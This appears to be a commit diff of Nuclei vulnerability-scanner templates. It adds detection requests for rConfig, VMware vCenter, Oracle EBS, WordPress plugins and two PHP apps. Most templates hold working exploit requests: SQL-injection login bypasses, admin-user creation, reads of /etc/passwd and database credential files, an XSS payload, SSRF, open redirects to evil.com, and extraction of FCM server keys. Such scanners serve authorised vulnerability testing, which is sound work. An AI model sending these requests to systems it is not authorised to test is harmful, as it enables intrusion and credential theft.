condition: or
part: all
- type: regex
name: shieldsecurity
regex:
- '(?i)blocked.by.the.shield'
- '(?i)transgression(\(s\))?.against.this'
- '(?i)url.{1,2}form.or.cookie.data.wasn.t.appropriate'
condition: or
part: all
- type: regex
name: wallarm
regex:
- '(?i)nginix.wallarm'
part: all
+20
View File
@@ -0,0 +1,20 @@
id: fcm-server-key
info:
name: FCM Server Key
author: Abss (@absshax)
severity: high
# Reference:- https://abss.me/posts/fcm-takeover
# FCM Project Credentials
requests:
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: regex
part: body
regex:
- "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}"
+1
View File
@@ -11,6 +11,7 @@ requests:
path:
- "{{BaseURL}}/evil.com/"
- "{{BaseURL}}/evil.com//"
- "{{BaseURL}}///;@evil.com"
- "{{BaseURL}}///evil.com/%2F.."
- "{{BaseURL}}/////evil.com"
@@ -2,14 +2,14 @@ id: oracle-ebs-bispgrapgh-file-read
info:
name: Oracle EBS Bispgraph File Access
author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
author: "@emenalf & @tirtha_mandal"
severity: critical
description: todo
requests:
- method: GET
path:
- "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
- "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"
matchers:
- type: regex
+64
View File
@@ -0,0 +1,64 @@
id: rconfig-rce
info:
name: rConfig 3.9.5 - Remote Code Execution
author: dwisiswant0
severity: high
# This template supports the user creation part only.
# To triggering an RCE, see references[2].
# References:
# - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
# - [2] https://www.exploit-db.com/exploits/48878
requests:
- raw:
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: python-requests/2.23.0
Connection: close
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=pdnuclei
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="username"
pdnuclei
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="passconf"
Testing1@
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="password"
Testing1@
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="email"
[email protected]
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="editid"
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="add"
add
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="ulevelid"
9
--01b28e152ee044338224bf647275f8eb--
matchers-condition: and
matchers:
- type: word
words:
- "User pdnuclei successfully added to Database"
part: body
- type: status
status:
- 302
+19
View File
@@ -0,0 +1,19 @@
id: sassy-social-share-xss
info:
name: Sassy Social Share XSS
author: Random-Robbie
severity: medium
description: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
matchers-condition: and
matchers:
- type: word
words:
- '{"facebook_urls":[{"<img src=x onerror=alert(document.domain)>":""}],"status":1,"message":{"":{"twitter":0}}}'
part: body
@@ -16,8 +16,7 @@ requests:
- type: word
words:
- "struts-default.xml"
part: body
- type: status
status:
- 200
- 200
+35
View File
@@ -0,0 +1,35 @@
id: vmware-vcenter-lfi
info:
name: VMware vCenter Unauthenticated Arbitrary File Read
author: dwisiswant0
severity: high
# Reference:-
# https://twitter.com/ptswarm/status/1316016337550938122
# https://kb.vmware.com/s/article/7960893
requests:
- payloads:
path:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
attack: sniper
raw:
- |
GET /eam/vib?id=path\vcdb.properties HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
Accept: */*
Accept-Language: en
Connection: close
matchers-condition: and
matchers:
- type: regex
regex:
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
part: body
- type: status
status:
- 200
+39
View File
@@ -0,0 +1,39 @@
id: vpms-auth-bypass
info:
name: Vehicle Parking Management System 1.0 - Authentication Bypass
author: dwisiswant0
severity: high
# References:
# - https://www.exploit-db.com/exploits/48877
requests:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://{{Hostname}}/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition: and
matchers:
- type: regex
regex:
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition: and
part: body
- type: status
status:
- 200
+19
View File
@@ -0,0 +1,19 @@
id: w3c-total-cache-ssrf
info:
name: Wordpress W3C Total Cache SSRF <= 0.9.4
author: random-robbie
severity: medium
# Reference
# https://wpvulndb.com/vulnerabilities/8644
# https://klikki.fi/adv/w3_total_cache.html
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css'
matchers:
- type: word
words:
- "NessusFileIncludeTest"
part: body
@@ -0,0 +1,21 @@
id: wordpress-social-metrics-tracker
info:
name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export
author: randomrobbie
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Main URL to Post"
part: body
@@ -0,0 +1,33 @@
id: wordpress-wpcourses-info-disclosure
info:
name: WordPress WP Courses Plugin Information Disclosure
author: dwisiswant0
severity: high
description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
# References:
# - [1] https://www.exploit-db.com/exploits/48910
# - [2] https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/lesson/1"
matchers-condition: and
matchers:
- type: regex
regex:
- "rest_post_invalid_id"
- "\"(guid|title|content|excerpt)\":{\"rendered\":"
condition: or
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
- 404
condition: or
@@ -1,19 +0,0 @@
id: host-header-injection
info:
name: Host Header Injection (x-forwarded-host)
author: melbadry9
severity: low
requests:
- method: GET
# Example of sending some headers to the servers
headers:
# MD5 hash of melbadry9
X-Forwarded-Host: "0021e78f48fe6525798294b7711c6f72.com"
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "0021e78f48fe6525798294b7711c6f72"
+41
View File
@@ -0,0 +1,41 @@
id: zms-auth-bypass
info:
name: Zoo Management System 1.0 - Authentication Bypass
author: dwisiswant0
severity: high
# References:
# - https://www.exploit-db.com/exploits/48880
requests:
- raw:
- |
POST /zms/admin/index.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://{{Hostname}}
Connection: close
Referer: http://{{Hostname}}/zms/admin/index.php
Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
Upgrade-Insecure-Requests: 1
username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: regex
regex:
- "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
- "ZMS ADMIN"
condition: and
part: body
- type: status
status:
- 200
+6 -1
View File
@@ -16,7 +16,9 @@ variables:
jira_cve_3: cves/CVE-2017-9506.yaml
jira_cve_4: cves/CVE-2018-20824.yaml
jira_cve_5: cves/CVE-2019-3396.yaml
jira_cve_6: cves/CVE-2020-14179.yaml
jira_cve_7: cves/CVE-2020-14181.yaml
jira_cve_8: cves/CVE-2019-8442.yaml
logic:
|
@@ -31,4 +33,7 @@ logic:
jira_cve_3()
jira_cve_4()
jira_cve_5()
jira_cve_6()
jira_cve_7()
jira_cve_8()
}
+2
View File
@@ -7,10 +7,12 @@ info:
variables:
mida: technologies/tech-detect.yaml
cve_2020_15920: cves/CVE-2020-15920.yaml
mida_xss: vulnerabilities/mida-eframework-xss.yaml
logic: |
mida()
if mida["mida-eframework"] {
cve_2020_15920()
mida_xss()
}
+4
View File
@@ -15,6 +15,8 @@ variables:
wordpress_emergency_script: files/wordpress-emergency-script.yaml
wordpress_installer_log: files/wordpress-installer-log.yaml
wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
wordpress_cve: cves/CVE-2019-9978.yaml
wordpress_cve_2: cves/CVE-2019-6715.yaml
@@ -33,6 +35,8 @@ logic: |
wordpress_emergency_script()
wordpress_installer_log()
wordpress_tmm_db_migrate()
wordpress_social_metrics_tracker()
w3c_total_cache_ssrf()
wordpress_cve()
wordpress_cve_2()